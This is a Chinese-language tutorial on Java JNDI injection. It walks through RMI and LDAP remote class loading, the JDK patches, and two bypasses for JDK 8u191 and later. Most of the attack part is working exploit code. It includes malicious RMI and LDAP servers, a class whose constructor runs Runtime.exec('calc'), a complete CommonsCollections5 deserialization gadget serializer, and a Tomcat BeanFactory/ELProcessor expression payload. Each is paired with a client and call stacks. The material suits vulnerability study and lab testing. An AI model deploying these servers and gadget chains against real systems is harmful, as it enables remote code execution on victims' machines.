JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。
InitialContext()
构建一个初始上下文。
InitialContext(boolean lazy)
构造一个初始上下文,并选择不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。
代码:
InitialContext initialContext = new InitialContext();
在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
bind(Name name, Object obj)
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象。
rebind(String name, Object obj)
将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
取消绑定命名对象。
代码:
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
代码:
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
参数1:className – 远程加载时所使用的类名
参数2:Factory – 加载的class中需要实例化类的名称
参数3:FactoryLocation – 提供classes数据的地址可以是file/ftp/http****协议
void add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。
JNDI注入通俗的来讲就是当url值可控的时候,也就是在JNDI接口初始化InitialContext.lookup(URL)
引发的漏洞,导致可以远程加载恶意class文件,造成的远程代码执行
上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在jndi注入中也起着至关重要的作用,而且不同的攻击对jdk的版本要求也不一致,这里就全部列出来:
RMI+JNDI注入就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行
javax.naming.Reference构造方法为:Reference(String className, String factory, String factoryLocation),
因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
服务端代码如下:
//server.java
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "http://127.0.0.1:8081/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
System.out.println("running");
}
}
恶意代码(test.class),将其编译好放到可访问的http服务器(这里实验就放在了本地,用python3启一个web服务即可)
注意,这里不要弄成main方法了,应该构造一个显示的构造函数来放置恶意代码才会执行
并且这个恶意类不要加包名,而且不要和服务端还有客户端放在同一个目录,否则在启动客户端的时候会直接从当前目录下寻找到这个class文件,不启动web服务也能成功。
//test.java
public class test {
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
接下来编译出class文件,放在本地web目录即可(这里注意,如果使用上述python命令启动的web服务,那么你在哪个目录下打开cmd窗口启动的服务,你的web目录就在哪个目录)
编译:javac test.java
部署在web服务上:python3 -m http.server 8081 #端口根据前面服务端url的端口
当客户端通过InitialContext().lookup("rmi://127.0.0.1:8081/obj")获取远程对象时,会执行我们的恶意代码
//client.java
package JNDI;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class client {
public static void main(String[] args) throws NamingException {
String url = "rmi://localhost:1099/obj";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
//以上获取信息
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDI_Test (demo)
跟进InitialContext.java的lookup方法
getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,因为InitialContext是实现了Context接口的类,此处返回Context对象的子类rmiURLContext对象
接下来就是到对应协议中去lookup搜寻,继续跟进lookup方法
GenericURLContext.java
//传入的var1="rmi://127.0.0.1/obj"
public Object lookup(String var1) throws NamingException {
//此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址
//当然,不同的协议调用这个函数的时候会根据getURLOrDefaultInitCtx函数返回的对象调用不同的
//getRootURLContext,从而进入不同的协议路线
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());//到相应的注册中心去调用lookup函数
} finally {
var3.close();
}
return var4;
}
因为传入的var1="rmi://127.0.0.1/obj",所以调用lookup的时候,var2.getRemainingName="obj"
继续跟进lookup
RegistryContext.java
//传入的var1="obj"
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
很明显进入了else分支,var2 = this.registry.lookup(var1.get(0));在这里RMI客户端与注册中心通信,返回RMI的服务IP,地址等信息
前面的那几步是获取上下文信息的,跟进com.sun.jndi.rmi.registry.RegistryContext#decodeObject,这里是将从服务端返回的ReferenceWrapper_Stub获取Reference对象。
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
跟进javax.naming.spi.NamingManager#getObjectInstance,此处为获取Factory类的实例。
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
//省略部分代码
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
跟进javax.naming.spi.NamingManager#getObjectFactoryFromReference,此处clas = helper.loadClass(factoryName);尝试从本地加载Factory类,如果不存在本地不存在此类,则会从codebase中加载:clas = helper.loadClass(factoryName, codebase);会从远程加载我们恶意class,然后在return那里return (clas != null) ? (ObjectFactory) clas.newInstance() : null;对我们的恶意类进行一个实例化,进而加载我们的恶意代码,构造函数执行命令。
具体看一下com.sun.naming.internal.VersionHelper12#loadClass代码如下,可以看到他是通过URLClassLoader从远程动态加载实例化我们的恶意类。
对于这种利用方式Java在其JDK 6u132、7u122、8u113中进行了限制,com.sun.jndi.rmi.object.trustURLCodebase默认值变为false
static {
PrivilegedAction var0 = () -> {
return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
};
String var1 = (String)AccessController.doPrivileged(var0);
trustURLCodebase = "true".equalsIgnoreCase(var1);
}
如果从远程加载则会抛出异常
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at demo.JNDI_Test.main(JNDI_Test.java:7)
LDAP,全称Lightweight Directory Access Protocol,即轻量级目录访问协议,和Windows域中的LDAP概念差不多,这里就不进行过多展开了。
我们在上面讲了在JDK 6u132, JDK 7u122, JDK 8u113中Java限制了通过RMI远程加载Reference工厂类,com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类。
但是需要注意的是JNDI不仅可以从通过RMI加载远程的Reference工厂类,也可以通过LDAP协议加载远程的Reference工厂类,这就可以加以利用,来绕过限制.
但可惜的是在之后的版本Java也对LDAP Reference远程加载Factory类进行了限制,在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的值默认值也变为false,对应的CVE编号为:CVE-2018-3149
服务端maven需要添加如下依赖:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.0</version>
</dependency>
服务端ldap_server.java
package JNDI;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class ldap_sever {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8081/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端ldap_client.java
package JNDI;
import javax.naming.InitialContext;
public class ldap_client {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}
}
getObjectFactoryFromReference:142, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:7, ldap_client (JNDI)
其调用和RMI差不多,只不过LDAP前面多几步加载上下文的调用,其核心还是通过Reference加载远程的Factory类,最终调用也是RMI一样javax.naming.spi.NamingManager#getObjectFactoryFromReference
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
该利用方法在JDK 11.0.1、8u191、7u201、6u211中也进行了修复, com.sun.jndi.ldap.object.trustURLCodebase属性的值默认为false
private static final String TRUST_URL_CODEBASE_PROPERTY =
"com.sun.jndi.ldap.object.trustURLCodebase";
private static final String trustURLCodebase =
AccessController.doPrivileged(
new PrivilegedAction<String>() {
public String run() {
try {
return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
"false");
} catch (SecurityException e) {
return "false";
}
}
}
);
如果trustURLCodebase为false则直接返回null
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}
关于JDK >= 8u191的利用目前公开有两种绕过的方法,这里测试的JDK版本为JDK 8u201
两种绕过⽅法如下:
1、找到⼀个受害者本地 CLASSPATH 中的类作为恶意的 Reference Factory 工厂类, 并利用这个本地的 Factory 类执行命令.
2、利⽤ LDAP 直接返回⼀个恶意的序列化对象, JNDI 注⼊依然会对该对象进⾏反序列化操作, 利用反序列化 Gadget 完成命令执行.
这两种⽅式都依赖受害者本地 CLASSPATH 中环境, 需要利⽤受害者本地的 Gadget 进行攻击
通过反序列化,那么前提是客户端得有可用的Gadgets
服务端参考marshalsec.jndi.LDAPRefServer,简单修改一下即可,这里使用的Gadget是CommonsCollections5
package JNDI;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class ldap_server191 {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://127.0.0.1/#test"};
int port = 7777;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData",CommonsCollections5());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
}
客户端
package JNDI;
import javax.naming.InitialContext;
public class ldap_client191 {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}
}
调用栈如下:
deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:7, ldap_client191(JNDI)
跟进com.sun.jndi.ldap.Obj#decodeObject
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
此处(var1 = var0.get(JAVA_ATTRIBUTES[1])) != null判断JAVA_ATTRIBUTES[1]是否为空,如果不为空则进入deserializeObject进行反序列操作
其中JAVA_ATTRIBUTES在com.sun.jndi.ldap.Obj中定义为
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};
JAVA_ATTRIBUTES[1]为javaSerializedData,所以我们可以LDAP修改javaSerializedData为我们的恶意序列化数据,然后客户端进行反序列化进而到达RCE。
跟进com.sun.jndi.ldap.Obj#deserializeObject,可以看到var5 = ((ObjectInputStream)var20).readObject();此处对var20(也就是从javaSerializedData中读取的序列化数据)进行了反序列化
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;
Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject();
} catch (Throwable var16) {
var21 = var16;
throw var16;
} finally {
if (var20 != null) {
if (var21 != null) {
try {
((ObjectInputStream)var20).close();
} catch (Throwable var15) {
var21.addSuppressed(var15);
}
} else {
((ObjectInputStream)var20).close();
}
}
}
return var5;
} catch (ClassNotFoundException var18) {
NamingException var4 = new NamingException();
var4.setRootCause(var18);
throw var4;
}
} catch (IOException var19) {
NamingException var3 = new NamingException();
var3.setRootCause(var19);
throw var3;
}
}
服务端代码可以参考marshalsec,然后添加对应属性javaSerializedData为我们的Gadgets序列化的数据即可
e.addAttribute("javaSerializedData", GadgetsData);
之前在分析RMI的时候提到过在加载远程类之前,会先加载本地类
在JDK 11.0.1、8u191、7u201、6u211之后之后com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值为false,我们就不能再从远程的Codebase加载恶意的Factory类了,那假如加载的是本地类呢
需要注意的,该工厂类型必须实现javax.naming.spi.ObjectFactory 接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对工厂类的实例对象进行了类型转换return (clas != null) ? (ObjectFactory) clas.newInstance() : null;;并且该工厂类至少存在一个 getObjectInstance() 方法才能在前面调用
(这篇文章的作者找到可利用的类为:org.apache.naming.factory.BeanFactory,并且该类存在于Tomcat依赖包中,所以利用范围还是比较广泛的。
添加如下依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
服务端代码参考自这篇文章
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jndi_sever_rmi_local {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
客户端
package JNDI;
import javax.naming.InitialContext;
public class jndi_client_rmi_local {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("rmi://127.0.0.1:1097/Object");
}
}
getObjectInstance:123, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, jndi_client_rmi_local (JNDI)
其它的调用和上面讲的一样,我们需要注意的是javax.naming.spi.NamingManager#getObjectInstance此处的调用,可以看到该方法中通过getObjectFactoryFromReference获取一个实例化的对象之后,还会调用factory.getObjectInstance,也就是说如果我们能从其它类中找到其它可以利用的getObjectInstance方法,那么我们就可以进行进一步的利用。
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
然后到了我们上面所说的可利用的类:org.apache.naming.factory.BeanFactory,该类存在getObjectInstance方法,如下
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
NamingException ne;
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.newInstance();
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};
String[] arr$ = value.split(",");
i = arr$.length;
for(int i$ = 0; i$ < i; ++i$) {
String param = arr$[i$];
param = param.trim();
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
}
}
Enumeration e = ref.getAll();
while(true) {
while(true) {
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}
ra = (RefAddr)e.nextElement();
propName = ra.getType();
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
} else {
//省略部分代码
}
}
}
}
}
//省略部分代码
} else {
return null;
}
}
可以看到该方法中有反射的调用method.invoke(bean, valueArray);并且反射所有参数均来自Reference,反射的类来自Object bean = beanClass.newInstance();,这里是ELProcessor
然后就是调用的参数,以=号分割,=右边为调用的方法,这里为javax.el.ELProcessor.eval;=左边则是会通过作为hashmap的key,后续会通过key去获取javax.el.ELProcessor.eval。
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
其中eval的参数获取如下,可以看到它是通过嵌套多次do while去枚举e中的元素,最后while(propName.equals("singleton"))此处propName为x,则退出循环,然后通过value = (String)ra.getContent();获取eval的参数,之后就是将ra的addrType(propName)的值作为key去获取之前存入的javax.el.ELProcessor.eval:Method method = (Method)forced.get(propName);
Enumeration e = ref.getAll();
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}
ra = (RefAddr)e.nextElement();
propName = ra.getType();
} while(propName.equals("factory"));
} while(propName.equals("scope"));
